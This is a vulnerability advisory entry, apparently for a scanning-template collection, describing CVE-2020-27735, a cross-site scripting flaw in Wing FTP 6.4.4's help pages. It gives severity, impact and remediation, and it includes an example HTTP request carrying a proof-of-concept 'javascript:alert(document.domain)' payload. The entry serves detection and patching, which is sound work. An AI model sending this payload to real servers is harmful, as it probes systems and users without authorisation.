| Title | Wing FTP 6.4.4 - Cross-Site Scripting |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to the latest version of Wing FTP server or apply the vendor-provided patch to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.37 |
| CVE ID | CVE-2020-27735 |
| CWE ID | CWE-79 |
| Tags | cve cve2020 xss wing-ftp wftpserver vuln |
Wing FTP 6.4.4 is vulnerable to cross-site scripting via its web interface because an arbitrary IFRAME element can be included in the help pages via a crafted link, leading to the execution of (sandboxed) arbitrary HTML and JavaScript in the user’s browser.
GET /help/english/index.html?javascript:alert(document.domain) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-27735.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-27735.pcap
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